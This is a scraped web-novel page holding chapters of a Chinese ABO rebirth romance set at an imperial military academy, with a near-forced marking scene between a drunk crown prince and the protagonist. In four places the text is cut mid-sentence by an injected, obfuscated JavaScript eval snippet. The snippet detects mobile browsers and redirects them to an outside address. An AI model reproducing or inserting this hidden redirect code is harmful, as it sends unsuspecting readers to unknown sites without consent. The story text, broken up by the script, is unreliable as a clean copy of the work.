【大标题:大龄剩A太子殿下结合有望?!】 【小标题:神秘美人Omega身份成谜,太子殿下疑似金屋藏娇!】 沈清崖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000169|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着终端上的大屏电子刊看得津津有味,这些记者一个个都是人才,大笔一挥仿佛自己亲眼见到了他们的标记现场一样,拿正规刊物当黄文写,文笔绝佳,活色生香。 只要不把文中那位“身如软玉温香,声似云雀娇啼,床笫间泪水涟涟,叫人血脉偾张”的人间尤物代入自己就很有欣赏价值。 Omega趴在沙发上看得小脸红扑扑,没秦曜什么时候回来了,一回头被身后脸黑如锅底的太子殿下吓了一跳。 “菲尼斯,去找皇家律师,把这破报社告到赔破产为止——还有你。” 冰蓝色的眼睛在正午的日光下近似竖瞳,冷冷俯视沈清崖,“……看来你十分饥渴,本太子从不苛待奴隶,你要是真想那事想疯了,我有的是办法帮你解决需求——怎么样,需要么?” 沈清崖摇头如拨浪鼓。 第二天是个风和日丽的好日子,莉莉丝大厦七十二层的落地玻璃窗外,闹市区的盛景像精心拼组的玩具盆景。 沈清崖扣好制服最后一颗纽扣,将砖红色的盾形校徽别在胸前。 “很合适呢,米兰先生。”菲尼斯说。 “嗯。”沈清崖对他笑笑,扭头看向镜子,笑容渐淡了些。 镜中人金发金眼,纤细羸弱的身姿,玻璃花瓶一般的样貌。 上辈子无比熟悉的靛青色军装制服很合身,制服仍是那套制服,人却不再是当年初入军校时意气风发的少年。 “今天是开学典礼,殿下也要去参加,您一会儿跟殿下一起去就可以了。” 沈清崖有些许心不在焉地“嗯”了一声,推门出了房间,秦曜已经穿戴整齐在等他了。 他不动声色地上下打量了一番身着莉莉丝军院制服的沈清崖,眉毛压得低低的,看不出心思。 “走吧。”太子殿下站起身。 . 莉莉丝皇家军事学院,始建于两千五百年前,从前朝延续至今。 如果说莉莉丝是帕罗迪斯帝国的明珠,那莉莉丝皇家军事学院就是明珠顶端最璀璨的那一抹高光。 这间学校建在帝星远郊的高山上,整座绵延高耸的山脉都是属于它的地盘。 一路从山底到山巅,扶摇直上,草木间屋宇林立,校舍分别建在不同的山头,彼此之间山高路远,望而生畏。 这种仿佛远古时代修仙门派一样的建筑设计也不知是出于哪路神仙的手笔。 美则美矣,阔则阔矣,就是废人。 从教学楼赶回宿舍恨不得要历经九九八十一难,这也是莉莉丝军院一直对Omega开放招生,但最后能坚持读到毕业的Omega屈指可数的原因之一。 谁能想到好不容易考上高校,第一道坎居然是放学回宿舍路上的山沟沟啊??? 沈清崖站在山脚校门前,强风吹拂,仰视这座上辈子他熟悉到一砖一石一草一木都深入骨髓的军校。 当年的一砖一石、一草一木都未曾改变。 江流石不转,唯有旧人成了新。 释然一笑,低头,上山。 两辈子,数十年,一切终于还是又回到了这里。 也即将在这里继续展开。 21. 典礼 暮春时节,漫山花开遍,粉的白的,军校的肃穆被花香遮掩了。 长发披肩不方便,沈清崖今天将金发在脑后编成了一股麻花辫,他随手折了一朵沙利叶绑在发尾。 上山的路上人流如织,有新生,有返校的老生,也有教职人员,共通的是——就跟阿斯蒙帝斯的拍卖会现场一样,放眼望去全都是人高马大的Alpha。 沈清崖几天前刚注射了强效信息素抑制剂,后颈上又贴了全新的抑制贴,现在可谓百毒不侵,Alpha的信息素再浓郁也干扰不了他。 他一门心思埋头上山,倒是别人频频朝他投来探究的视线。 莉莉丝皇家军事学院,顶尖的学府……出名的和尚庙。 这里连Beta都不多见,忽然出现的Omega就更是不亚于大熊猫的珍稀物种了。 多看几眼也不奇怪。 开学典礼在学校最高的那座山峰的最顶端举行,高山仰止,寓意深远。 “我在此宣誓—— “从今起始,我将成为帝国的霜刃,将蒺藜劈开,将敌人枭首。 “我将化作帝国的山川河流,用每一声啼鸣写就伟业,以每一寸骨血酿造荣光。 “我是帕罗迪斯的孩子,亦是帝国的战士,我愿奉上我的心脏,守护她的春秋日月,守护子民的一屋一舍,守护花木的朝夕枯荣。 “愿帝国的星辉永不落幕,愿荣光的火炬生生不息。” 主席台上的学生代表在带着所有学生念莉莉丝军院的校训兼宣誓词,沈清崖站在新生队列的后排,眼前的景象让他不由想起前世作为新生刚来到这里的时候。 彼时还不是沈大元帅的沈清崖年方十六,比现在还小两岁,也是这么乖乖站在台下,一句一句跟着学生代表念誓词。 只是台上的学生代表、校长跟荣誉教授们都换了一茬了。 比如学生代表右边端正坐着的那位,笔挺的黑色军服跟金色扣子、一丝不乱的头发,冷硬又高高在上的神情……除了太子殿下还有谁? 上辈子的这个时候,秦曜还是个连莉莉丝军院的大门都没摸着的萝卜丁呢。 时光真是把杀猪刀啊。 主席台上的人轮流讲话,学生代表讲完宣誓词以后轮到校长讲话,校长讲完荣誉教授讲。 底下学生打哈欠跟开小差的频率随着时间的推移呈几何形增长。 这点也跟上辈子很不一样。 当年走进莉莉丝军院的全是有志青年,一腔热血,满脑子都是肝脑涂地精忠报国,只恨不得把台上人给他们打的鸡血录下来全文背诵。 那会儿沈清崖觉得别人太热血了,显得自己懒懒散散格格不入,暗自盼着大家能散漫点。 死去又活来一遭,他的愿望可算实现了。 这会儿台上正是某位终身荣誉教授致辞,沈清崖没忘记他这位老伙计——头上两撮稀毛,嘴边半拉胡渣,眼皮子像是永远睁不开,讲起话来慢半拍。 人送外号,卡皮巴拉教授。 上辈子沈清崖刚入学的时候是卡皮巴拉教授的学生,过了十多年成了卡皮巴拉教授的同事,老相识。 卡皮巴拉在台上念经似地讲述污染战历史,沈清崖看见他斜前方的五个人已经玩起了抽乌龟,脸上贴的全是五颜六色的条儿。 左边的两个人在分析卡皮巴拉脑袋上的毛发生长情况——为什么左半球比右半球植被茂盛几分? 后面的人在搞同性恋。 沈清崖刚要看向右边的人在干嘛,就被对方先下手为强地拍了一把。 “哎,我注意你好久了,哥们,你是没分化呢?你几岁啊?” “十八。”沈清崖说。 “啊?十八了还不分化啊?不去医院查查激素么,你这属于生长发育滞后吧?” “分化了。” “分化了还长这样?那更得去医院查查了啊。”那人震撼。 “分化成Omega了。” “………………卧了个大槽????你tm是Omega??!!!” 卡皮巴拉又臭又长的演讲被这声气吞山河的地感叹打断了,中年教授抬起眼镜后的豆豆眼看向这个角落:“这位同学——” “学”字还慢悠悠在空中飘着,忽然不知从何处猛然刮起了一阵飓风,直接在这个角落龙卷式弥散。 抽乌龟的被卷进了风涡; 研究卡皮巴拉脑袋植被的被卷进了风涡; 搞同性恋的也被卷进了风涡。 风涡最中间是刚才脱口大叫的Alpha新生,他像一条滚筒洗衣机里的裤衩子,先从下被卷到上,又在从上被卷到下。 沈清崖默默往另一边挪了挪,在风涡旁边假装咳嗽。 “那我的讲话就到这里结束了,接下来有请帝国高军总指挥秦曜上将为大家致辞。” 卡皮巴拉无视台下还在激情龙卷的风涡,要把话筒递给旁边的秦曜,秦曜摆摆手没要。 卡皮巴拉不在意,卡皮巴拉不要面儿,卡皮巴拉憨笑一声下台了。 这里是军校,大家通常习惯于称呼秦曜的军衔。 在莉莉丝皇家军事学院,他不是太子殿下,而是帝国最骁勇善战的帝国高军的最高指挥官秦上将。 主席台离学生们有一段距离,但台下不管新生老生们都恍惚觉得自己好像听到了秦上将的军靴一下一下踩上地面的叩击声。 听得头皮发麻。 秦曜似乎有些洁癖,莉莉丝军院的师生们都知道,秦上将的军装总是穿得规规整整一丝不苟,秦上将的口袋里总是整齐叠放着一块丝质手绢。 秦上将那十根修长有力的手指,一天要用手绢擦八十遍,指甲永远要修剪打磨得短而整齐。 当然,这些事情,充其量不过是无伤大雅的小怪癖。 最重要的是,整个帝国、所有人,都知道,秦曜,秦上将,尊贵的太子殿下…… 是个癫人。 随着秦曜在主席台中央站定,台下那撮风涡不但没有消停,反而还有越卷越大的趋势,在台下的学生人群里来回肆虐。 那风涡像是长了眼睛一样,规规矩矩听讲话的学生一个都没事。 其他开小差的、讲小话的、玩乐的吃零食的……但凡风涡经过,一卷一个准。 全都成了滚筒洗衣机里的苦茶子。 秦曜无视巨大风涡里已经快吐了的学生们,慢条斯理地开始讲话: “我是谁大家应该都知道,那么我就不做自我介绍了。 “‘欢迎各位同学返校’、''欢迎新同学''一类的开场白我认为也不是很有必要。 “既然你们来了这里,那我合理推测在座的都是希望未来能成为帝国的正规军,为保护帝国、击退污染物而战的。那我就直说了—— “以你们现在百分之九十五的人的状态,不要说击退污染物了,要是真的上了前线,你们连死了都不知道自己是怎么死的。 “现在军队确实缺人,但我作为帝国高军上将也要把丑话说在前头:我们不是什么样的垃圾废物都要的。 “所以在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15000170|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座的各位,不管新生老生,想明白了就好好利用你们剩余的时间,不要等真的走上战场的那一天浪费军部资源,死了还要我们给你家人发抚恤金。” 太子殿下演讲完毕,他的风涡也终于渐渐消散。 几条苦茶子噼里啪啦从半空中摔下来。 卡皮巴拉教授清了清嗓子,小声提醒:“秦上将,他们还是小孩子,您这样是不是有些太过严苛了……” 秦曜说:“这话你跟我说,不如去污染区跟那些污染物说去。” 卡皮巴拉闭嘴了。 开学典礼就这么气氛诡异地结束了,秦曜成功地再次在人群中留下了阴晴不定残暴不堪的不良形象。事后可怜的学生们对此事三缄其口,不敢在背后蛐蛐秦上将,但暗自下定决心——今后永远都不要选秦上将的课。 沈清崖没被周围同学灰败的脸色所影响,轻车熟路地准备去教学区。 教学区在另一座山头,山崖底下就是海平面,有种苦海无涯的惨然。 “哎,你!你真是Omega啊?” 往教学区走的路上又有人靠过来跟沈清崖搭讪,“我刚听见那大兄弟喊那一嗓子了。” “嗯嗯。”第二性别这种事想瞒也是不可能瞒住的,沈清崖大方承认。 “是Omega专修系的?真少见,听说各大军院的Omega专修系这几年都招生遇冷,好多学校渐渐都不开设这个系别了。” “不是哦。” “啊?不是?那你来这里还能学什么……战斗护理?或者军械维修?这两个系现在好像也不怎么招Omega了吧?” 沈清崖说:“都不是。” 教学区离开学典礼所在的山崖不远,通路也比较顺畅,两人说话间就已经快走到了。 搭讪的Alpha剃了个板寸,挺精神。 他没有过多纠结这个Omega到底是哪个系别的,又打量了一番沈清崖的脸蛋跟身段,脸色微红:“你一个Omega,为什么要来读军校啊?我看你长得也挺好看的,趁年纪小早点嫁人不是更好么?” “唔,保家卫国。” “啊??”板寸Alpha用一种看异形一样的眼神瞅着他,“你新闻联播看多了吧?” 沈清崖歪头,回看这个体格不算十分强壮的Alpha:“那你呢,你为什么来这里读书?” 板寸Alpha耸耸肩,理所当然道:“当然是冲着军校生的特殊补贴啊,不少钱呢。而且现在这世道,参军天经地义,社会地位高,从这里毕业以后上战场混几个军功然后退役,轻轻松松就能做人上人了。 “嗐,小Omega,你也别觉得我俗气市侩,你随便在这学校抓几个人问问,我敢打赌,百分之八十以上都是我这想法的。” 穿过最后一座桥,桥下的莲池映出匆匆走过的学生们的脸,已经能看见教学区巍峨耸立的大门了。 山风厉厉,沈清崖仰望着那庄严的黑色拱门,发尾绑着的沙利叶花倏忽间被风卷走,落在崖边一个男人的肩头。 沈清崖对板寸Alpha笑了笑:“做军人可没那么轻松啊。” 板寸Alpha看得愣愣的,张口想再说点什么,就被身后冷冽的气息吓得一激灵。 回头,只见秦上将不知什么时候忽然出现了,此刻正用一种看杂碎的眼神俯视着他。 板寸Alpha:“……” 秦曜一只手里捏着柔嫩的沙利叶花,嘴里吐出冰冷的一句:“滚。” 板寸Alpha麻溜地滚了。 22. 我给自己磕一个 “殿下?您怎么来了?”沈清崖诧异道。 秦曜看了一眼他空荡荡的发尾,随手将那朵沙利叶花虚虚给Omega簪了回去。 顺眼多了。 “不愿意看见我来?”秦曜收回手,冷哼。 “哪能啊。”沈清崖讪笑,“惊喜万分。” 开学第一天,教学区乌泱泱全是人,原本沈清崖这个Omega新生就已经十分显眼了,他旁边再杵着一个冷硬的铁塔般的秦上将,偷眼往这里看的人便更多了。 秦曜没把那些学生当回事。 “我今年是战斗特化班的主讲教师。” “……你?” “?”秦曜眯眼,“有什么问题?” “没有没有。我只是受宠若惊。” 没错,方才那个板寸Alpha报菜名一样点了好几个有可能录用Omega的系别,一个都不是沈清崖要就读的。 战斗特化班——这是专为以上最前线战斗为目的的学生设置的特别班级,学校会倾斜所有资源给特化班的学生提供针对实际战斗的辅导跟强化。 特化班并不按年级设立,不同年龄跟学段的学生都在一个班级上课,跟不上的直接淘汰,通过结业大考就能毕业,学生的流动性极强。 近两百年内,帝国的几乎每一位将军都出自莉莉丝军院的战斗特化班。 沈清崖上辈子毕业于特化班,后来又成了特化班的老师。 当年的秦曜对此嗤之以鼻,认为沈清崖在学校里带学生属于蹉跎岁月浪费光阴,有这个时间不如多去污染区撕几个污染物。 谁能想到,如今风水轮流转,太子殿下倒是自己接起了这根接力棒。 两人一前一后进了特化班的教室,乱哄哄的教室在沈清崖进来后安静了许多,而待沈清崖身后的秦曜进来以后,瞬间鸦雀无声。 秦曜站到讲台前环视班级一圈,看着这群懒懒散散拿开学不当回事的学生,笑了一下。 笑意没沁到眼底。 特化班的学生都是这样的状态,别的系别和班级有多糟糕就不难想象了。 沈清崖死了八年了,这帝国是愈发从上到下都无可救药了。 纵然是千里之堤,也架不住这蚁穴越挖越深。 “我是今年战斗特化班的主讲教师。 “不过我只负责教授你们战斗技巧,至于学不学,学得怎么样,上课之余做什么,我没那个闲工夫管你们。” 秦曜扫视全班,目光在几个眼熟的人身上停顿数秒,又冷冷转开。 “——今天是安息日,但是我不参加你们这些无聊的悼念活动。我来这里只是提醒一句,我不会给你们热身启动的时间,今天你们爱做什么做什么,假期作业爱交不交,我不管。你们除战斗外别的学习内容,自然有别的老师接手,我没那个闲工夫给你们当保姆。 “另外,我也不信奉所谓循循善诱式的温和教育。既然你们都来战斗特化班了,我默认所有人随时都能做好战斗准备。 “开学前两周先在训练舱热身,两周后我要进行实地考试,到时候通不过考试的立马给我滚出特化班。” 秦曜说完这些掉头就走,多一个眼神都没给这帮莘莘学子们。 太子殿下实在是恶名在外,加上今天他在开学典礼上说的那番话,给不少学生留下了深深的心理阴影。 因此等秦曜的脚步声一消失,整个班级里都是学生的哀嚎。 “完了完了完了……今年的主讲老师怎么是那个太子殿下啊!这下毕业无望了!!” “救命……这要是被卡毕业,举报都举报无门吧……谁敢得罪‘那位’太子殿下啊……” “完犊子了,我本来就吊车尾,本来想着特化班不限制毕业年限,只要在这里慢慢混着就能年年拿补助,还不用上战场……这下我不会被踢出去吧!我家里还等着我的补助金呢QAQ!” “他说‘实地考试’?是我想的那个‘实地’吗??该不会要上前线战场吧……我的妈呀……” 沈清崖独自坐在角落,听取哀声一片。 他其实挺不理解的,他也不过才死了八年而已,怎么莉莉丝军院的氛围变化会如此之大。 现在这届学生还真是烂泥扶不上墙啊。 金发的Omega默默打量急得跳脚的同学们,目光最后落在教室后排的两个人身上。 领口带了白色滚边的制服、毕业预备役的学生,熟悉的脸。 他上辈子最小的、也是他一步步拉拔起来的两个学生——希尔因和褚晏。 其他学生吵吵嚷嚷吐槽着即将到来的灾难生活,只听希尔因翘着脚,从鼻子里哼了一声。 “不过是沈老师的手下败将罢了,怕他作甚,一点出息都没有。” 有人便反驳道:“希尔因,你话不能这么说,你自己去年通过毕业模考了,今年要毕业十拿九稳,我们还没呢!” “就是就是!能不能为别人着想一下啊?” “而且沈元帅都死了那么多年了,你能不能别张口闭口把他挂嘴上了啊……说点实际的行不?谁不知道秦上将跟沈元帅是死对头啊,你老沈元帅前沈元帅后的,小心他气急了给我们一整个班都穿小鞋!” “我会怕他?”希尔因倏地就站了起来,脸上不屑与不爽兼而有之。 “我们是管不了你怕不怕他,但劝你低调点,别把我们害了——谁不知道太子殿下脾气不好啊?听说他还爱好对人施以酷刑,我只想安安稳稳活到毕业。劝你改改你那臭脾气,别去寻太子殿下晦气!” 希尔因气道:“谁寻他晦气了?我尊师重道,我的老师有且只有沈老师一个!他才不配做我的老师! “而且当年我老师去世的时候他也在场,谁知道是不是他做了什么手脚害死我老师的??我这辈子都跟姓秦的势不两立!” 沈清崖:“…………” 真是他的好学生…… 但大可不必…… 沈清崖叹了口气,上辈子他就知道希尔因这孩子倔,但是没想到这孩子从少年成长为了青年,如今个子比他都高半个头了,还倔得跟头驴一样。 “喂,那边那个新入学的Omega——你说呢?” 沈清崖莫名被点名,只见四面八方所有的人都朝他看过来。 大家显然对他这个Omega好奇已久。 战斗特化班可以说是莉莉丝军院里Alpha率最高的班了,他这个Omega的出现不亚于狼窟里从天而降的一块肥肉。 只是刚才群狼忙着哀嚎嘶吼,暂时没工夫料理他,不代表他的同学们都把他忘了。 希尔因也是贵族出身,生了一张精致又贵气的脸,沈清崖曾经很喜欢他的绿瞳,像某种神秘幽深的宝石,仿佛内里藏了无尽乾坤。 只是现在这孩子不知为何用褐色的隐形眼镜遮住了那双绿宝石。 希尔因抬着下巴盯着沈清崖,随后三两步越过半个教室,来到了沈清崖身边,居高临下地抬起Omega的下巴。 “?”这种被熟人充满恶意地俯视着的感觉有点奇怪。 尤其是这个熟人还是他从小看到大的学生。 希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15000171|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔因打量了沈清崖半晌,缓缓道:“你就是米兰·休汀?” “唔,我是。” “——秦曜的姘头?”希尔因眯着眼睛补全了后半句。 “……”这个真不是。 至少这辈子还不是。 希尔因冷笑道:“之前听到传闻说秦曜那个变态滥用职权,把自己养在屋里的Omega送来了莉莉丝军院,我还不信。 “没想到啊没想到,他不但把姘头送进来了,还直接送来了特化班。 希尔因手指使了力,掐着沈清崖的下巴,另一只手准确无误地摸到了沈清崖后颈的抑制贴,作势要把那玩意儿撕下来。 “别……”沈清崖吃痛,慌忙按住他的手。 这狗崽子! “怎么?”希尔因冷冷道,“这是你跟姓秦的之间的什么小情趣么?我们都是你们play的一环是不是?” 沈清崖简直无语了,他上辈子周围都是些什么人啊? 刚送走一个大癫子,又来个小疯子。 不过想到希尔因对上辈子的自己盲目崇拜,会厌恶抵触秦曜也在所难免,沈清崖叹道:“你先把手放开,有话好好说,今天是沈元帅的忌日,你这样让他的在天之灵怎么能安心呢?” 听到Omega搬出沈元帅,希尔因才愤愤地放下了手。 青年的脸色有愤懑,有不甘心,有仿佛无处抒发的不满和恨意,最后还是褚晏默不吭声地走过来,将希尔因拉走了。 染了黑发、戴了褐色隐形的青年低头嘟囔道:“走吧,去悼念堂。” “嗯。”褚晏应了一声。 “这些人,一个两个三个……根本都不配让沈老师豁出性命保护——” “嗯。” 两人往教室外走,两道背影拖了很长,一直都走到门口挺远了,教室里有人对着希尔因他们远去的背影喊了一声: “你们别一直守着沈元帅过了!到现在还没明白么,什么污染战、什么帝国将亡、什么沈元帅一人负重前行——根本全都是骗局!我们就好好混军部补助,把自己日子过好就行了,别活在已经死掉的人的阴影里了!” 同学苦口婆心,希尔因跟褚晏却头都没有回。 不过也多亏了希尔因当着全班的面说了沈清崖是太子殿下的姘头,这下那些本来觊觎着他这块肥肉的Alpha便无人敢下口了。 倒是省了沈清崖不少麻烦。 这开学第一天在风波与平静的你来我往中过去,沈清崖跟着其他人按部就班地去了悼念堂,对着悼念堂中央自己上辈子的音容笑貌磕了一个。 感觉怪怪的。 大多数学生跟老师们都是走个过场,少有人真的对已经死了八年的沈元帅有太多感情。 只有希尔因跪在悼念堂里眼泪哗啦啦地流,看得沈清崖有点心疼。 差点忍不住跑过去说你别哭了,我好端端在这呢,活得挺好,你刚还说我是秦曜姘头呢,真孝顺为师就别污蔑为师了哈,乖。 ——好吧,从上辈子的角度来说的话,也算不上污蔑。 跟上辈子的学生相认至少目前还是不可能的,悼念结束后,当晚沈清崖就回了跟秦曜暂居的酒店。 套房里黑洞洞,只开了一盏台灯,沈清崖眯眼看过去,发现秦曜正靠在落地窗边上喝酒。 月上柳梢,沙利叶的香气扑鼻而来,太子殿下已经微醺了。 他面前的桌台上摆了个相框,高大的Alpha正对着照片里的人愣神。 看来,“活在已死之人的阴影里”的人,这里还有一位。 23. 殿下,斯人已矣 酒精使人体温上升、心跳脉搏都加速。 在酒精的催化下,平日里沉寂的腺体往往也蠢蠢欲动,逸散出点滴信息素的气味来。 此时的酒店套间内就满是沙利叶花清新的香气,熟悉的信息素勾缠,几乎是在沈清崖踏进屋的瞬间就让他陷入了短暂的迷蒙和恍惚。 这在医学上被称作“即时信息素唤起”,是只有曾经交相缠绕过的人才会在闻到对方信息素的瞬间进入的状态。 也是身体习惯性为即将到来的结合做准备。 所幸沈清崖刚打过抑制剂,因此在酒香跟沙利叶花香的双重氤氲下仍维持住了清醒。 忍不住背过手去摸了摸后颈的抑制贴,喃喃:“……明明都是上辈子那个身体的事了,怎么换了个壳子还能被唤起啊…… “秦曜这个狗,莫非当真雄风超群?” 秦曜整个人窝在卡座沙发里,没有发现门口沈清崖的异状。 他耷拉着眼皮,迟钝地看了一眼顶上突然亮起的灯,才缓慢说:“……哟,奴隶,你回来了啊。” 说完还打了个酒嗝。 “……” 沈清崖对他们的太子殿下的酒量还是很有几分逼数的。 毕竟这八年来,这人几乎是隔三差五就拎着酒到他坟前来,然后喝不了多少就烂醉,从虚伪冷漠的衣冠禽兽变成了左一句草/死你右一句日翻你的臭流氓。 是了,今天是他上辈子的忌日,以往的这个日子,秦曜都是要拎着酒去骚扰他的。 想必今天他也去了。 想到秦曜在军院时冷着脸说他不会去参加悼念活动,转头出了学校又去自己坟前发酒疯,沈清崖多少有点无语。 这人是图啥?图个自己偷偷发癫,然后惊艳所有人么? 秦曜酒没少喝,沙利叶花的香气愈发浓郁,沈清崖感觉后颈的腺体逐渐躁动地一跳一跳,叹道:“殿下,您喝醉了,我给您泡点醒酒茶吧? “或者……您如果不喜欢我给您泡的话,我去找菲尼斯来,正好也让他照顾您。” 沈清崖说完就转身要往外走,准备去找菲尼斯。 “你……别去!”太子殿下却含含糊糊在他身后叫道。 沈清崖苦口婆心:“殿下,小人还要住在这里呢。现在整个酒店房间里都是您的信息素气息,小人受不住啊。” “你……也有……受不住本太子的信息素的时候啊——”秦曜忽然癫里癫气地哼笑起来,“我早说了,我厉害得很,让你……怀八个,不在话下——” “…………” 脑子里嗡嗡嗡了一会儿,沈清崖确信秦曜是喝傻了,把他当沈大元帅说起垃圾话来了。 太子殿下还在畅所欲言:“什么Alpha……不Alpha…………只要……只要…………在老子床上……老子都能……狠狠标记你……我才不在乎什么……Alpha还是……Omega…………” 秦曜这人,在皇室龟毛的教育体系下,平常——尤其是在外人面前——最是装模作样,喜欢端着他那皇太子的架子。 现在居然连“老子”这种自称都出来了。 看来是真喝成智障了。 沈清崖好气又好笑,走到了秦曜近前,低下头和醉眼朦胧的太子殿下对视,金发落到了沙发扶手上,虚虚从秦曜指缝间扫过。 “殿下,您看清楚了,我不是沈元帅。” 说着他瞥了一眼桌台上的照片,照片用木纹的相框装裱得很规整,玻璃面上甚至看不到指纹印。 照片里的沈元帅面容还有些青涩,额前的黑发长得长了,略略遮住了眼睛。 但即便是这样的形象,青年的笑容仍旧开朗,褐色的眼睛眯成了两道弯弯的月牙。 军装领口两道白边,胸前用绿色丝带系了一个蝴蝶结。 是沈清崖上辈子从莉莉丝军院正式毕业的那天拍下的。 彼时同窗们都在忙着跟老师攀关系,在军部找熟人,想给自己从此开始的新人生谋一份好前程。 只有他散漫得很,上不着天下不着地,看到秦曜路过,眉头皱得能夹死苍蝇,就笑眯眯拉住他说:“给我拍张照呗。以后的日子,恐怕就不能天天见了。” “……见不到我,你该高兴了吧?”比他小两岁的少年面无表情地说。 “不会啊,大家都是同学嘛!”沈清崖挠了挠头,把即刻成像的相机塞进秦曜手里,然后跑远了些,比了个耶的姿势。 秦曜半天没动,直到沈清崖丈二和尚摸不着头脑,放下手看他,少年才迅速按下了快门。 最后相机吐出照片,相片里的沈清崖手已经放下,眼底的笑意却仍未消散,定定看着镜头的方向。 就像是特意看着照相的人开怀笑一般。 沈清崖对着这张自己前世的照片愣了会儿神。 他记得这张照片他一直是放在自家书房抽屉里的,随手夹在了军校的毕业册当中,连塑封都没有包。 也不知道秦曜怎么会把这照片翻出来的,还给一丝不苟地装裱了起来。 ……这人对自己的仇人倒是也挺用心的。 沙利叶的香气在空气里愈发浓郁,沈清崖清晰感觉到原本沉寂的腺体被唤起,心跳加速、体温逐渐燥热。 秦曜酒还没醒,两人离这么近竟也没看出他不是上辈子的沈元帅。 不但没认出他来,还搂着他的腰凑过来,粗暴地拨开他颈后的长发,跟条狗一样趴在他后颈的腺体处不断嗅闻。 “沈……清崖…………” 嘴里还嘟嘟囔囔的。 沈清崖被沙利叶花香紧紧环绕,生理性地腿软,察觉到秦曜开始伸手扒拉他的抑制贴后,终于心头警铃大作,艰难地攀上秦曜的肩膀试图拉开距离。 “殿下……您看清楚!我是米兰,米兰·休汀……不是沈元帅——!” 秦曜那双冰蓝色的眼睛里褪去了平日里冷漠或癫狂的色彩,迷迷蒙蒙,他一只手几乎已经把沈清崖的抑制贴撕了一半了。 发红的腺体暴露在空气里,先是一凉,然后又热又涨,沈清崖控制不住地哆嗦了一下。 下一刻,他整个人僵住了。 秦曜的犬齿正在他后颈的腺体上厮磨,抑制贴要掉不掉地半挂在脖子上,腺体受了巨大的刺激,某种酸麻难忍的感觉直冲天灵盖,Omega抽搐了一下,径直软倒了下去。 然后被躁动的Alpha抱了个满怀。 一上一下的姿势,沈清崖惊恐地发现秦曜冰蓝色的眼睛里漾着某种幽暗的光。 那是上辈子两人无数次翻滚厮磨、无数次他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15000172|161738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被弄到哀泣求饶的时候在Alpha眼中会看到的神色。 秦曜的手还按在Omega胀痛的腺体上,他自上而下地俯视了沈清崖的脸半晌,竟还是没有察觉他并非他的死对头沈元帅,埋头下去又瞄准了Omega后颈的腺体想咬。 ——绝对不能被他标记! 意识朦胧之间,脑海里唯一的那点理智尖锐地提醒。 沈清崖也不知哪儿来的力气,一把推开了秦曜。 当然,也只是推开了小小的一点距离,让Alpha的犬齿不至于下一秒就咬上他的腺体罢了。 “殿下!我是米兰·休汀!沈元帅早就已经死了!” 秦曜在距离沈清崖半米的距离,怔怔地看着他,张了张口,又什么都没说。 他只要别靠近沈清崖就谢天谢地了,意识到自己刚才的话有点生硬,怕刺激到秦曜,他又赶紧补充:“殿下,今天是沈元帅的忌日,我知道您可能想起了他还在世的时候一些不愉快的事情,心里不痛快……但是斯人已矣,上柱香得了,啊。” ——别在这里发癫。 趁着秦曜还没把脑袋里的东西理顺,沈清崖飞快把后颈快完全剥落的抑制贴又拍了回去,与肌肤紧密贴合。 然后又将衣领拉好,遮住那块独属于Omega的隐秘区域。 仿佛这样才有安全感。 好在秦曜这个人,沈清崖也是知道的——酒量不佳,但Alpha年轻体壮,新陈代谢优秀,醉得快,醒得也快。 被沈清崖推开后,他原地发了会儿憷,眼神渐渐恢复了些许的清明。 “……米兰休汀?”太子殿下蹙起了眉。 “谢天谢地,您总算认出我来了……对对,我是米兰休汀,我不是沈元帅,您看清楚了——长相身形、头发颜色眼睛颜色,没一个地方像沈元帅呢。” 秦曜沉默少顷,说话声仍带了一点酒后的鼻音,但语气已经明显清明了: “是不像。你说得没错。” 不知为何,沈清崖总觉得这句简短的总结听上去有些无端落寞。 他也弄不清这癫子对上辈子的自己到底是怎样一番复杂的情感,只能说恨果然比爱长久。 都八年了,他上辈子的粉丝都快把他忘了,唯独这个恨他恨入骨髓的人还是对他念念不忘想搞死他。 